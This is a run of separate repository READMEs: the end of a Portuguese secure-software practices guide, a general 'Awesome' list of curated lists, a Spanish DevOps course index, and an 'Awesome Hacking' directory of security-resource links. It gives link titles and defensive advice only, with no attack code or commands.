informações, forjar serviços 'seguros' ou assinar documentos como o dono do certificado. 7. Defina políticas para gestão de cada tipo de certificados, como requisição, instalação, uso, renovação, revogação e descarte. ### 6.1. Exemplos A classe `CertificadosDigitais` tem alguns exemplos de uso e pode ser usada como neste exemplo: ```python >>> from seguranca import CertificadosDigitais >>> c = CertificadosDigitais() >>> print(c.le_cert_p12('/home/forkd/Downloads/certest.p12')) ... ``` ## 7. Segregação de Funções 1. Crie contas administrativas separadas das de usuários comuns. 2. Restrinja o acesso de contas administrativas em redes ou endereços IP específicos. 3. Aumente o nível de segurança para contas administrativas --e.g., senhas realmente longas (&gt; 40 caracteres), duplo fator de autenticação e, possivelmente, com certificado digital (*token* ou *smart card*). 4. Mantenha o princípio do menor privilégio, i.e., o usuário deve possuir permissões mínimas para realizar seu trabalho e a aplicação deve garantir que isso possa ser configurado. 5. Crie usuários específicos para executar tarefas da aplicação --e.g., banco de dados e sistema operacional. 6. Evite no sistema situações onde um usuário executar ações especiais e ele mesmo auditá-las --e.g., usuário executa a compra de um item e ele mesmo aprova a compra. ## 8. Nuvem 0. Entenda que *nuvem*, no fundo, significa um servidor alocado em algum local remoto. 1. Ao usar serviços 'na nuvem', procure saber mais sobre o seu provedor: casos de sucesso, clientes, garantias de segurança, backup, recuperação de desastres etc. 2. Descubra onde, de fato, os dados serão armazenados ou processados; não se esqueça que cada país possui a sua legislação e ela pode afetar o seu serviço. 3. Leia e entenda os termos de serviço do provedor; atenção especial à cláusulas de confidencialidade das informações que serão armazenadas/processadas e ao que acontecerá com elas em caso de cancelamento do serviço --lembre-se que muitas empresas poderão nunca deletar realmente tais informações e outras poderão usá-las ou vendê-las em parte ou na totalidade. 4. Preveja um cenário de migração do serviço para outro provedor ou até para servidores internos; procure saber como o provedor a ser contratado trata essa possibilidade. 5. Avalie os riscos de expor as informações na nuvem; essa avaliação deve levar em consideração a classificação das informações que serão enviadas para o provedor contratado. 6. Considere fortemente as práticas do item 4, Transferências, ao trafegar dados locais para a nuvem e vice-versa. ### 8.1. Exemplos Exemplos na classe `Nuvem`. Uso: ```python >>> from seguranca import Nuvem >>> n = Nuvem() >>> n.upload_para_gdrive('/home/forkd/Downloads/certest.p12') ... ``` ## 9. Testes e Análises de Vulnerabilidade 1. Realize análises de vulnerabilidade periodicamente nas aplicações. 2. Adicione uma etapa de análise de vulnerabilidades ao processo de desenvolvimento de software. 3. Publique aplicações apenas após tratar todas as vulnerabilidades listadas nas análises. 4. Lembre-se que é mais fácil tratar vulnerabilidades em ambientes de homologação do que nos pares de produção. 5. Separe fisica e logicamente os ambientes de homologação e produção. 6. Crie ambientes de homologação o mais parecidos possível dos seus pares de produção. 7. Proteja os ambientes de homologação com o mesmo nível dos de produção; caso eles tenham de ser expostos a partes não confiáveis, considere utilizar rotinas de mascaramento de dados --e.g., trocar números de CPF, embaralhar nomes e alterar endereços de email. 8. Considere o uso de alguma ferramenta de análise de código, seja [SAST](http://www.gartner.com/it-glossary/static-application-security-testing-sast/), [DAST](http://www.gartner.com/it-glossary/dynamic-application-security-testing-dast/), [IAST](http://blogs.gartner.com/neil_macdonald/2012/01/30/interactive-application-security-testing/) ou [RAST](http://www.gartner.com/it-glossary/runtime-application-self-protection-rasp/). ## 10. Outros 1. Garanta que o sistema esteja alinhado com a legislação local --e.g., [Marco Civil da Internet](https://www.planalto.gov.br/ccivil_03/_ato2011-2014/2014/lei/l12965.htm) e [SOX](https://en.wikipedia.org/wiki/Sarbanes%E2%80%93Oxley_Act). 2. Crie um processo formal para implantação de sistemas, que deverá garantir, entre outras coisas, que apenas os arquivos essenciais sejam colocados em produção --e.g., estruturas de controle de versão (e.g., diretórios .git) deveriam ser apagados. 3. Mantenha uma rotina de atualização do software e suas dependências, como APIs e sistemas operacionais. 4. Mantenha atualizada a documentação, seja ela qual for, da aplicação, pois em caso de problemas, ela será uma das primeiras fontes de consulta. 5. Documente todas as mudanças no software, preferencialmente usando um sistema de controle de versões de código. 6. Mudanças na infraestrutura deveriam ser documentadas, para facilitar o rastreio de problemas --e.g., atualização do servidor e entrada em produção de uma nova versão de determinado serviço. ## Notas 1. Dos [princípios de Kerckhoff](https://en.wikipedia.org/wiki/Kerckhoffs%27s_principle) (1835-1903): os algoritmos devem ser abertos e as chaves, secretas --por extensão pode-se inferir que as implentações dos algoritmos deveriam ser igualmente abertas e o programador deveria ter conhecimento completo do código utilizado. ## Referências 1. Open Web Application Security Project (OWASP). Password Storage Cheat Sheet. Disponível em: [https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet](https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet). 2. National Institute of Standards and Technology (NIST). Recommendation for Block Cipher Modes of Operation. NIST Special Publication 800-38A. 2001. Disponível em: [http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf](http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf). 3. Open Web Application Security Project (OWASP). OWASP Proactive Controls. Disponível em: [https://www.owasp.org/index.php/OWASP_Proactive_Controls](https://www.owasp.org/index.php/OWASP_Proactive_Controls). 4. Open Web Application Security Project (OWASP). SQL Injection Prevention Cheat Sheet. Disponível em: [https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet](https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet). 5. Open Web Application Security Project (OWASP). Session Management Cheat Sheet. Disponível em: [https://www.owasp.org/index.php/Session_Management_Cheat_Sheet](https://www.owasp.org/index.php/Session_Management_Cheat_Sheet). 6. Open Web Application Project (OWASP). Secure Coding Principles. Disponível em: [https://www.owasp.org/index.php/Secure_Coding_Principles](https://www.owasp.org/index.php/Secure_Coding_Principles). 7. International Information System Security Certification Consortium (ISC)². The Ten Best Practices for Secure Software Development. 8. Hynek Schlawack. Storing Passwords in a Highly Parallelized World. [https://hynek.me/articles/storing-passwords](https://hynek.me/articles/storing-passwords) 9. National Institute of Standards and Technology (NIST). NISTIR 8151: Dramatically Reducing Software Vulnerabilities. Disponível em: [https://doi.org/10.6028/NIST.IR.8151](https://doi.org/10.6028/NIST.IR.8151). ## Sobre Criado por José Lopes de Oliveira Jr. e licenciado sob a [GNU General Public License v3 ou posterior](https://github.com/forkd/seguranca/blob/master/LICENSE) --leia o arquivo `LICENSE` para mais informações. ### Contribuições * Encontrou algum erro? * Quer sugerir outra prática ou outro tópico? * Quer relatar um caso de uso? * Pintou alguma dúvida? Entre em contato: `joselopes (a) cemig.com.br` **ou** submeta um *pull request* **ou** abra uma nova *issue* aqui. *Apenas a mudança é permanente.* ### Agradecimentos * [Cemig](http://www.cemig.com.br) * [Comunidade Python Brasil](http://python.org.br)

# Awesome > A curated list of awesome lists ## TOC - [Platforms](#platforms) - [Programming Languages](#programming-languages) - [Front-end Development](#front-end-development) - [Back-end Development](#back-end-development) - [Computer Science](#computer-science) - [Big Data](#big-data) - [Theory](#theory) - [Books](#books) - [Editors](#editors) - [Gaming](#gaming) - [Developer Environment](#developer-environment) - [Entertainment](#entertainment) - [Databases](#databases) - [Resources](#resources) - [Learn](#learn) - [Security](#security) - [Platforms](#platforms) - [Miscellaneous](#miscellaneous) ## Platforms - [Node.js](https://github.com/sindresorhus/awesome-nodejs) - [Frontend Development](https://github.com/dypsilon/frontend-dev-bookmarks) - [iOS](https://github.com/vsouza/awesome-ios) - [Android](https://github.com/JStumpp/awesome-android) - [Hybrid Apps](https://github.com/weblancaster/awesome-hybrid) - [Electron](https://github.com/sindresorhus/awesome-electron) *(formerly atom-shell)* - [Cordova](https://github.com/busterc/awesome-cordova) - [React Native](https://github.com/jondot/awesome-react-native) ## Programming Languages - [JavaScript](https://github.com/sorrycc/awesome-javascript) - [Swift](https://github.com/matteocrippa/awesome-swift) - [Python](https://github.com/vinta/awesome-python) - [Rust](https://github.com/kud1ing/awesome-rust) - [Haskell](https://github.com/krispo/awesome-haskell) - [PureScript](https://github.com/passy/awesome-purescript) - [Go](https://github.com/avelino/awesome-go) - [Scala](https://github.com/lauris/awesome-scala) - [Ruby](https://github.com/markets/awesome-ruby) - [Clojure](https://github.com/razum2um/awesome-clojure) - [Elixir](https://github.com/h4cc/awesome-elixir) - [Elm](https://github.com/isRuslan/awesome-elm) - [Erlang](https://github.com/drobakowski/awesome-erlang) - [Julia](https://github.com/svaksha/Julia.jl) - [Lua](https://github.com/LewisJEllis/awesome-lua) - [C](https://github.com/aleksandar-todorovic/awesome-c) - [C/C++](https://github.com/fffaraz/awesome-cpp) - [R](https://github.com/qinwf/awesome-R) - [D](https://github.com/zhaopuming/awesome-d) - [Common Lisp](https://github.com/kozross/awesome-cl) - [Perl](https://github.com/hachiojipm/awesome-perl) - [Groovy](https://github.com/kdabir/awesome-groovy) - [Dart](https://github.com/yissachar/awesome-dart) - [Java](https://github.com/akullpp/awesome-java) - [OCaml](https://github.com/rizo/awesome-ocaml) - [Coldfusion](https://github.com/seancoyne/awesome-coldfusion) - [Fortran](https://github.com/rabbiabram/awesome-fortran) - [.NET](https://github.com/quozd/awesome-dotnet) - [PHP](https://github.com/ziadoz/awesome-php) - [Delphi](https://github.com/Fr0sT-Brutal/awesome-delphi) ## Front-end Development - [JavaScript Must Watch Talks](https://github.com/bolshchikov/js-must-watch) - [ES6 Tools](https://github.com/addyosmani/es6-tools) - [Web Performance Optimization](https://github.com/davidsonfellipe/awesome-wpo) - [Web Tools](https://github.com/lvwzhen/tools) - [Above-the-fold CSS Tools](https://github.com/addyosmani/above-the-fold-css-tools) - [React](https://github.com/enaqx/awesome-react) - [Web Components](https://github.com/mateusortiz/webcomponents-the-right-way) - [Polymer](https://github.com/Granze/awesome-polymer) - [AngularJS](https://github.com/gianarb/awesome-angularjs) - [Backbone](https://github.com/instanceofpro/awesome-backbone) - [HTML5](https://github.com/diegocard/awesome-html5) - [Sass](https://github.com/HugoGiraudel/awesome-sass) - [SVG](https://github.com/willianjusten/awesome-svg) - [KnockoutJS](https://github.com/dnbard/awesome-knockout) - [Dojo Toolkit](https://github.com/peterkokot/awesome-dojo) - [Inspiration](https://github.com/NoahBuscher/Inspire) - [Ember](https://github.com/nmec/awesome-ember) - [Android UI](https://github.com/wasabeef/awesome-android-ui) - [iOS UI](https://github.com/cjwirth/awesome-ios-ui) - [Scalable CSS](https://github.com/davidtheclark/scalable-css-reading-list) - [Meteor](https://github.com/gillesfabio/awesome-meteor) - [BEM](https://github.com/sturobson/BEM-resources) - [CSS Must-Watch Talks](https://github.com/AllThingsSmitty/must-watch-css) - [Flexbox](https://github.com/afonsopacifer/awesome-flexbox) - [Web Typography](https://github.com/deanhume/typography) - [Web Accessibility](https://github.com/brunopulis/awesome-a11y) - [Material Design](https://github.com/sachin1092/awesome-material) ## Back-end Development - [Django](https://github.com/rosarior/awesome-django) - [Flask](https://github.com/humiaozuzu/awesome-flask) - [Docker](https://github.com/veggiemonk/awesome-docker) - [Vagrant](https://github.com/iJackUA/awesome-vagrant) - [Pyramid](https://github.com/ITCase/awesome-pyramid) - [Play1 Framework](https://github.com/PerfectCarl/awesome-play1) - [CakePHP](https://github.com/friendsofcake/awesome-cakephp) - [Symfony2](https://github.com/EmanueleMinotto/awesome-symfony2) - [Laravel](https://github.com/chiraggude/awesome-laravel) - [Rails](https://github.com/ekremkaraca/awesome-rails) - [Phalcon](https://github.com/sergeyklay/awesome-phalcon) - [Useful `.htaccess` Snippets](https://github.com/phanan/htaccess) ## Computer Science - [University Courses](https://github.com/prakhar1989/awesome-courses) - [Data Science](https://github.com/okulbilisim/awesome-datascience) - [Machine Learning](https://github.com/josephmisiti/awesome-machine-learning) - [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing) - [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics) - [Cryptography](https://github.com/MaciejCzyzewski/retter) - [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision) - [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning) *(Neural networks)* ## Big Data - [Big Data](https://github.com/onurakpolat/awesome-bigdata) - [Public Datasets](https://github.com/caesar0301/awesome-public-datasets) - [Hadoop](https://github.com/youngwookim/awesome-hadoop) ## Theory - [Papers We Love](https://github.com/papers-we-love/papers-we-love) - [Talks](https://github.com/JanVanRyswyck/awesome-talks) - [Algorithms](https://github.com/tayllan/awesome-algorithms) - [Algorithm Visualizations](https://github.com/enjalot/algovis) - [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence) - [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization) ## Books - [Free Programming Books](https://github.com/vhf/free-programming-books) - [Free Software Testing Books](https://github.com/ligurio/free-software-testing-books/blob/master/free-software-testing-books.md) - [GoBooks](https://github.com/dariubs/GoBooks) - [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books) ## Editors - [Sublime Text](https://github.com/dreikanter/sublime-bookmarks) - [Vim](http://vimawesome.com) - [Emacs](https://github.com/emacs-tw/awesome-emacs) - [Atom](https://github.com/mehcode/awesome-atom) ## Gaming - [Game Development](https://github.com/ellisonleao/magictools) - [Game Talks](https://github.com/hzoo/awesome-gametalks) - [Godot](https://github.com/Calinou/awesome-godot) *(Game engine)* - [Open Source Games](https://github.com/leereilly/games) ## Developer Environment - [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins) - [Dev Env](https://github.com/jondot/awesome-devenv) - [Dotfiles](https://github.com/webpro/awesome-dotfiles) - [Shell](https://github.com/alebcay/awesome-shell) - [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins) - [Browser Extensions for GitHub](https://github.com/stefanbuck/awesome-browser-extensions-for-github) - [Git Cheat Sheet](https://github.com/ArslanBilal/Git-Cheat-Sheet) ## Entertainment - [Science Fiction](https://github.com/sindresorhus/awesome-scifi) - [Fantasy](https://github.com/RichardLitt/awesome-fantasy) - [Podcasts](https://github.com/cv/awesome-geek-podcasts) ## Databases - [Database](https://github.com/numetriclabz/awesome-db) - [MySQL](https://github.com/shlomi-noach/awesome-mysql/blob/gh-pages/index.md) - [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy) ## Resources - [Creative Commons Media](https://github.com/shime/creative-commons-media) - [Images](https://github.com/heyalexej/awesome-images) - [Fonts](https://github.com/brabadu/awesome-fonts) ## Learn - [CLI Workshoppers/Adventures](https://github.com/therebelrobot/awesome-workshopper) - [Learn to Program](https://github.com/karlhorky/learn-to-program) ## Security - [Application Security](https://github.com/paragonie/awesome-appsec) - [Security](https://github.com/sbilly/awesome-security) - [CTF](https://github.com/apsdehal/awesome-ctf) - [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) - [Android Security](https://github.com/ashishb/android-security-awesome) ## Miscellaneous - [Analytics](https://github.com/onurakpolat/awesome-analytics) - [Answers](https://github.com/jugoncalves/awesome-answers) *(Stack Overflow, Quora, etc)* - [Awesome](https://github.com/sindresorhus/awesome) - [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin/) - [Blogs](https://github.com/aleksandar-todorovic/awesome-blogs) - [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates) - [Conferences](https://github.com/RichardLitt/awesome-conferences) - [Continuous Delivery](https://github.com/itech001/ciandcd) - [Design and Development Guides](https://github.com/NARKOZ/guides) - [Discounts for Student Developers](https://github.com/najela/discount-for-student-dev) - [Endangered Languages](https://github.com/RichardLitt/endangered-languages) - [FOSS for Developers](https://github.com/httpsGithubParty/FOSS-for-Dev) - [Free for Developers](https://github.com/ripienaar/free-for-dev) - [GeoJSON](https://github.com/tmcw/awesome-geojson) - [GitHub Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet) - [JSON](https://github.com/burningtree/awesome-json) - [Mad Science Modules](https://github.com/feross/mad-science-modules) - [Maintainance Modules](https://github.com/maxogden/maintenance-modules) *(for npm packages)* - [Open Companies](https://github.com/waldyrious/awesome-open-company) - [PCAPTools](https://github.com/caesar0301/awesome-pcaptools) - [Radio](https://github.com/kyleterry/awesome-radio) - [Readme](https://github.com/matiassingers/awesome-readme) - [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job) - [REST](https://github.com/marmelab/awesome-rest) - [Selenium](https://github.com/christian-bromann/awesome-selenium) - [Services Engineering](https://github.com/mmcgrana/services-engineering) - [Sketch](https://github.com/diessica/awesome-sketch) *(OS X app)* - [Slack Communities](https://github.com/filipelinhares/awesome-slack) - [Slack](https://github.com/matiassingers/awesome-slack) - [Styleguides](https://github.com/RichardLitt/awesome-styleguides) - [Sysadmin](https://github.com/kahun/awesome-sysadmin) - [Tools](https://github.com/cjbarber/ToolsOfTheTrade) ## License [](http://creativecommons.org/publicdomain/zero/1.0/) To the extent possible under law, [Sindre Sorhus](http://sindresorhus.com) has waived all copyright and related or neighboring rights to this work.

[](https://www.buymeacoffee.com/roxsross) # DevOps 2023 Level 101 | The DevOps Journey 🔥 🔥 ### by @roxsross <p align="center"><img src="./assets/Release.jpg" width="600"/></p> ### ¿Pero qué es DevOps? DevOps es un término surgido de la combinación de “desarrollo” y “operaciones” (en inglés development y operations) que representa una filosofía de ingeniería que consiste en el enfoque colaborativo entre el equipo de (Dev) desarrollo de software y el de (Ops) operación del software. En su significado más amplio, DevOps es una cultura. Lo que se quiere conseguir es aumentar la comunicación y confianza entre los desarrolladores y los administradores de sistemas, es decir, integrar los departamentos de operaciones y desarrollo. <a href="https://295devops.com"> <img align="left" width="20%" src="https://raw.githubusercontent.com/roxsross/roxsross/main/images/Copia de ROXSROSS FINAL (1).png"> </a> </br> </br> </br> En la III Edición, tu despliegue dejará de ser manual, repetitivo y propenso a errores y se volverá automatizado, rápido y seguro. </br> </br> </br> </br> ### Contenidos && Challenge 1. Roadmap DevOps * [Intro DevOps](./CLASE-01/devops.md) 1. Linux Básico * [Linux](./CLASE-02/linux.md) * [Comandos Basicos](./CLASE-02/comandos_linux.properties) * [Bash](./CLASE-02/00_tutorial_bash/readme.md) * [Explicacion basica de bash](./CLASE-02/Explicacion-basica-bash.md) * [Challenge-01](./CLASE-02/05-example/reto1.md) * [Challenge-02](./CLASE-02/05-example/reto2.md) * [Challenge-03](./CLASE-02/05-example/reto3.md) * [Ejercicios-1](./CLASE-02/ejercicios-scripts-linux-1.md) * [Ejercicios-2](./CLASE-02/ejercicios-scripts-linux-2.md) * [Ejercicios-3](./CLASE-02/ejercicios-scripts-linux-3.md) * [Ejercicios-4](./CLASE-02/ejercicios-scripts-linux-4.md) 1. Sistema de Control de Version * [Git](./CLASE-03/00-git-terminal-basico/00-configuracion.md) * [Comandos Basicos](./CLASE-03/github-git-cheat-sheet.pdf) * [Git DevOps](./CLASE-03/00-git-terminal-basico/05-ejercicio.md) * [Challenge-01](./CLASE-03/Ejercicios-github-bash/README.md) 1. Docker * [Libro Docker](./CLASE-04/Ebook%20-%20Fundamentos%20de%20docker.pdf) * [Cheat Sheet Docker](./CLASE-04/docker_cheatsheet.pdf) * [Comandos Basicos](./CLASE-04/Docker/01-Comandos-docker.md) * [Trabajando con Imagenes](./CLASE-04/Docker/02-Creacion-images.md) * [Trabajando con Imagenes2](./CLASE-04/Docker/03-Trabajando-con-imagenes.md) * [Volumenes-Redes](./CLASE-04/Docker/04-Volumenes-Redes.md) * [Volumenes](./CLASE-04/Docker/05-Volumenes.md) * [Redes](./CLASE-04/Docker/06-Redes.md) * [Docker-compose](./CLASE-04/Docker/07-DockerCompose.md) * [Docker-compose2](./CLASE-04/Docker/08-Docker-Compose-yml.md) * [Ejemplo1](./CLASE-04/Docker/Ejemplo-DockerCompose-php.md) * [Ejemplo2](./CLASE-04/Docker/Ejemplo-Guestbook.md) * [Ejemplo3](./CLASE-04/Docker/Ejemplo-Wordpress-Compose.md) * [Tips](./CLASE-04/Docker/10-Tips.md) * [Challenge-01](./CLASE-04/Challenge/01/lab-01.md) * [Challenge-02](./CLASE-04/Challenge/02/lab-02.md) * [Challenge-03](./CLASE-04/Challenge/03/lab-03.md) * [Challenge-04](./CLASE-04/Challenge/04/lab-04.md) * [Challenge-05](./CLASE-04/Challenge/05/lab-05.md) * [Challenge-06](./CLASE-04/Challenge/06/lab-06.md) * [Challenge-07](./CLASE-04/Challenge/07/lab-07.md) * [Challenge-08](./CLASE-04/Challenge/08/lab-08.md) * [Challenge-09](./CLASE-04/Challenge/09/lab-09.md) * [Challenge-10](./CLASE-04/Challenge/10/lab-10.md) * [Challenge-11](./CLASE-04/Challenge/11/lab-11.md) * [Challenge-12](./CLASE-04/Challenge/12/lab-12.md) * [Challenge-13](./CLASE-04/Challenge/13/lab-13.md) * [Challenge-14](./CLASE-04/Challenge/14/lab-14.md) * [Challenge-15](./CLASE-04/Challenge/15/lab-15.md) 1. Kubernetes * [Sobre Kubernetes](./CLASE-05/readme.md) * [Kubernetes](./CLASE-05/kubernetes/01/introk8s.md) * [Pod](./CLASE-05/kubernetes/02/pod.md) * [Replicaset](./CLASE-05/kubernetes/03/rs.md) * [Deployment](./CLASE-05/kubernetes/04/gestionando_deploy.md) * [Service](./CLASE-05/kubernetes/06/svc.md) * [Ingress](./CLASE-05/kubernetes/06/ingress.md) * [Namespaces](./CLASE-05/kubernetes/05/ns.md) * [Minikube-Vagrant-K8s](./CLASE-05/minikube-k8s-vagrant/uso-vagrant-minikube.md) * [Recursos](./CLASE-05/recursos/) * [Challenge-01](./CLASE-05/challenge/01/lab01.md) * [Challenge-02](./CLASE-05/challenge/02/lab02.md) * [Challenge-03](./CLASE-05/challenge/03/lab03.md) * [Challenge-04](./CLASE-05/challenge/04/lab04.md) * [Challenge-05](./CLASE-05/challenge/05/lab05.md) * [Challenge-06](./CLASE-05/challenge/06/lab06.md) * [Challenge-07](./CLASE-05/challenge/07/lab07.md) * [Challenge-08](./CLASE-05/challenge/08/lab08.md) 1. AWS * [Intro AWS](./CLASE-06/intro-aws/README.md) * [Challenge-01](./CLASE-06/aws-challenge/challenge_01/README.md) * [Challenge-02](./CLASE-06/aws-challenge/challenge_02/README.md) * [Challenge-03](./CLASE-06/aws-challenge/challenge_03/README.md) * Challenges **Autor:** Jorge Barreto | AWSx10 & AWS Community Builder | [LinkedIn](https://www.linkedin.com/in/jorgebarretoolivos/) 1. Terraform * [Intro Terraform]() * [Comandos]() * [Challenge-01]() * [Challenge-02]() * [Challenge-03]() 1. CICD * [CICD]() * [CICD Tools]() * [Challenge-01]() * [Challenge-02]() * [Challenge-03]() 1. DevSecOps * [Intro DevSecOps]() * [SAST]() * [DAST]() * [Challenge-01]() * [Challenge-02]() 1. ChatOps * [Intro ChatOps]() * [Tools]() * [Challenge-01]() 1. Challenge Final * [Challenge onfire v1 🔥](./DESAFIO-ONFIRE-2023/Challenge-onfire-v1-level100/Readme.md) * [Challenge onfire v2 🔥🔥](./DESAFIO-ONFIRE-2023/Challenge-onfire-v2-level200/README.md) * [Challenge onfire v3 🔥🔥🔥](./DESAFIO-ONFIRE-2023/Challenge-onfire-v3-level300/Readme.md) 1. Recursos & Material de Referentes DevOps * [Proximamente]() _ _ _ #### 🔔 Importante: Se actualiza contenido a medida que avance el curso de DevOps 101 _ _ _ ## Contribuciones Como siempre, cualquier contribución es bienvenida, simplemente forkeá este repo y enviame una PR. ### **Puedes Seguirme** 🔥 &nbsp; [](https://roxs.295devops.com) [](https://discord.gg/5fqHuBq6pf) [](https://www.youtube.com/@295devops) [](https://twitter.com/roxsross)  

## OG Repo https://github.com/Hack-with-Github/Awesome-Hacking  # [Awesome Hacking](https://github.com/Hack-with-Github/Awesome-Hacking) [](https://twitter.com/intent/tweet?text=Awesome%20Hacking%20-%20a%20collection%20of%20awesome%20lists%20for%20hackers%20and%20pentesters%20by%20@HackwithGithub&url=https://github.com/Hack-with-Github/Awesome-Hacking&hashtags=security,hacking) **A collection of awesome lists for hackers, pentesters & security researchers.** Your [contributions](contributing.md) are always welcome ! ## Awesome Repositories Repository | Description ---- | ---- [Android Security](https://github.com/ashishb/android-security-awesome) | Collection of Android security related resources [AppSec](https://github.com/paragonie/awesome-appsec) | Resources for learning about application security [Asset Discovery](https://github.com/redhuntlabs/Awesome-Asset-Discovery) | List of resources which help during asset discovery phase of a security assessment engagement [Bug Bounty](https://github.com/djadmin/awesome-bug-bounty) | List of Bug Bounty Programs and write-ups from the Bug Bounty hunters [Capsulecorp Pentest](https://github.com/r3dy/capsulecorp-pentest) | Vagrant+Ansible virtual network penetration testing lab. Companion to "The Art of Network Penetration Testing" by Royce Davis [CTF](https://github.com/apsdehal/awesome-ctf) | List of CTF frameworks, libraries, resources and softwares [Cyber Skills](https://github.com/joe-shenouda/awesome-cyber-skills) | Curated list of hacking environments where you can train your cyber skills legally and safely [DevSecOps](https://github.com/devsecops/awesome-devsecops) | List of awesome DevSecOps tools with the help from community experiments and contributions [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security) | A curated list of awesome resources about embedded and IoT security [Exploit Development](https://github.com/FabioBaroni/awesome-exploit-development) | Resources for learning about Exploit Development [Fuzzing](https://github.com/secfigo/Awesome-Fuzzing) | List of fuzzing resources for learning Fuzzing and initial phases of Exploit Development like root cause analysis [Hacking](https://github.com/carpedm20/awesome-hacking) | List of awesome Hacking tutorials, tools and resources [Hacking Resources](https://github.com/vitalysim/Awesome-Hacking-Resources) | Collection of hacking / penetration testing resources to make you better! [Honeypots](https://github.com/paralax/awesome-honeypots) | List of honeypot resources [Incident Response](https://github.com/meirwah/awesome-incident-response) | List of tools for incident response [Industrial Control System Security](https://github.com/hslatman/awesome-industrial-control-system-security) | List of resources related to Industrial Control System (ICS) security [InfoSec](https://github.com/onlurking/awesome-infosec) | List of awesome infosec courses and training resources [IoT Hacks](https://github.com/nebgnahz/awesome-iot-hacks) | Collection of Hacks in IoT Space [Mainframe Hacking](https://github.com/samanL33T/Awesome-Mainframe-Hacking) | List of Awesome Mainframe Hacking/Pentesting Resources [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis) | List of awesome malware analysis tools and resources [OSINT](https://github.com/jivoi/awesome-osint) | List of amazingly awesome Open Source Intelligence (OSINT) tools and resources [OSX and iOS Security](https://github.com/ashishb/osx-and-ios-security-awesome) | OSX and iOS related security tools [Pcaptools](https://github.com/caesar0301/awesome-pcaptools) | Collection of tools developed by researchers in the Computer Science area to process network traces [Pentest](https://github.com/enaqx/awesome-pentest) | List of awesome penetration testing resources, tools and other shiny things [PHP Security](https://github.com/ziadoz/awesome-php#security) | Libraries for generating secure random numbers, encrypting data and scanning for vulnerabilities [Real-time Communications hacking & pentesting resources](https://github.com/EnableSecurity/awesome-rtc-hacking) | Covers VoIP, WebRTC and VoLTE security related topics [Red Teaming](https://github.com/yeyintminthuhtut/Awesome-Red-Teaming) | List of Awesome Red Team / Red Teaming Resources [Reversing](https://github.com/fdivrp/awesome-reversing) | List of awesome reverse engineering resources [Reinforcement Learning for Cyber Security](https://github.com/Limmen/awesome-rl-for-cybersecurity) | List of awesome reinforcement learning for security resources [Sec Talks](https://github.com/PaulSec/awesome-sec-talks) | List of awesome security talks [SecLists](https://github.com/danielmiessler/SecLists) | Collection of multiple types of lists used during security assessments [Security](https://github.com/sbilly/awesome-security) | Collection of awesome software, libraries, documents, books, resources and cools stuffs about security [Serverless Security](https://github.com/puresec/awesome-serverless-security/) | Collection of Serverless security related resources [Social Engineering](https://github.com/v2-dev/awesome-social-engineering) | List of awesome social engineering resources [Static Analysis](https://github.com/mre/awesome-static-analysis) | List of static analysis tools, linters and code quality checkers for various programming languages [The Art of Hacking Series](https://github.com/The-Art-of-Hacking/h4cker) | List of resources includes thousands of cybersecurity-related references and resources [Threat Intelligence](https://github.com/hslatman/awesome-threat-intelligence) | List of Awesome Threat Intelligence resources [Vehicle Security](https://github.com/jaredthecoder/awesome-vehicle-security) | List of resources for learning about vehicle security and car hacking [Vulnerability Research](https://github.com/re-pronin/awesome-vulnerability-research) | List of resources about Vulnerability Research [Web Hacking](https://github.com/infoslack/awesome-web-hacking) | List of web application security [Windows Exploitation - Advanced](https://github.com/yeyintminthuhtut/Awesome-Advanced-Windows-Exploitation-References) | List of Awesome Advanced Windows Exploitation References [WiFi Arsenal](https://github.com/0x90/wifi-arsenal) | Pack of various useful/useless tools for 802.11 hacking [YARA](https://github.com/InQuest/awesome-yara) | List of awesome YARA rules, tools, and people [Hacker Roadmap](https://github.com/sundowndev/hacker-roadmap) | A guide for amateur pen testers and a collection of hacking tools, resources and references to practice ethical hacking. ## Other useful repositories Repository | Description ---- | ---- [Adversarial Machine Learning](https://github.com/yenchenlin/awesome-adversarial-machine-learning) | Curated list of awesome adversarial machine learning resources [AI Security](https://github.com/RandomAdversary/Awesome-AI-Security) | Curated list of AI security resources [API Security Checklist](https://github.com/shieldfy/API-Security-Checklist) | Checklist of the most important security countermeasures when designing, testing, and releasing your API [APT Notes](https://github.com/kbandla/APTnotes) | Various public documents, whitepapers and articles about APT campaigns [Bug Bounty Reference](https://github.com/ngalongc/bug-bounty-reference) | List of bug bounty write-up that is categorized by the bug nature [Cryptography](https://github.com/sobolevn/awesome-cryptography) | Cryptography resources and tools [CTF Tool](https://github.com/SandySekharan/CTF-tool) | List of Capture The Flag (CTF) frameworks, libraries, resources and softwares [CVE PoC](https://github.com/qazbnm456/awesome-cve-poc) | List of CVE Proof of Concepts (PoCs) [Detection Lab](https://github.com/clong/DetectionLab) | Vagrant & Packer scripts to build a lab environment complete with security tooling and logging best practices [Forensics](https://github.com/Cugu/awesome-forensics) | List of awesome forensic analysis tools and resources [Free Programming Books](https://github.com/EbookFoundation/free-programming-books) | Free programming books for developers [Gray Hacker Resources](https://github.com/bt3gl/Gray-Hacker-Resources) | Useful for CTFs, wargames, pentesting [GTFOBins](https://gtfobins.github.io) | A curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions [Hacker101](https://github.com/Hacker0x01/hacker101) | A free class for web security by HackerOne 